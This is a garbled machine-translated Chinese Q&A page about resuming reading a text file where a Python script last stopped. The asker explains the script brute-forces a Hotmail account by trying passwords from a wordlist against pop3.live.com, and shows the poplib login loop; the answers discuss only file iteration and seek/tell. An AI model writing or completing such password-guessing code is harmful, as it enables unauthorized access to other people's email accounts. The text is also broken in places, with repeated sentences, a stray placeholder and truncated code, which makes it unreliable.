最后一点怎么重读!python

2024-09-30 05:22:49 发布

您现在位置:Python中文网/ 问答频道 /正文

如何读取txt文件并停止,然后在最后一行继续读取

example:
Joe
LOley
Hana fat
oh beef come one

示例=txt文件 我读到的最后一行是哈娜·法特 那我该怎么继续呢? 像这样:

^{pr2}$

x.py=脚本文件,当我再次运行它时,他继续在他读过的最后一行! \\\\ 为什么我需要那个?因为我的脚本试图连接pop3。live.com网站 试着用这么多密码从txt文件登录 唯一的方法是一遍又一遍地运行脚本,但是要使用不同的txt文件行 那我们怎么办? 我的密码。。那么怎么做呢? 因为我的脚本试图连接pop3。live.com网站 试着用这么多密码从txt文件登录 唯一的方法是一遍又一遍地运行脚本,但是要使用不同的txt文件行

这是我的准则

  import poplib
  def con(pwd):
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try:
        M.user("test123@hotmail.com")
        M.rset(M.pass_(pwd))
    except:
        print "[-]password incorrect"
    else:
        print '[+]really Password is:', pwd 
        exit()

f = open("Str1k3r.txt", "r")
for pwd in f.readlines():

Tags: 文件方法txt脚本comlive密码网站
3条回答

每次执行'x.py'时,都会重新打开文件-在开始处。这就是“开放”的作用。在

如果您想继续读取,您可能需要安排从已知的文件描述符(可能是标准输入)读取文件,这样就不会一直重置它。也就是说,您可能需要担心缓冲的I/O。第一个进程可能会读取一个充满文件的缓冲区,并且只处理缓冲区中的部分数据;第二个进程将在I/O完成的地方继续,而不是在程序完成的地方继续。在

还有,因为你正在使用操作系统(),您正在逐步建立一组尚未终止的进程,所有进程都在等待下一个子进程死亡。调查你的“执行”选项。在

f= open("Str1k3r.txt", "r")
for line in f:
    print line
    break

for line in f:
    print line # Continues with line 2 as f knows where it stopped
    break      # It's actually using file.next()

您可能需要尝试使用seek()、tell()等。。。更多信息请参见documents。在

相关问题 更多 >

    热门问题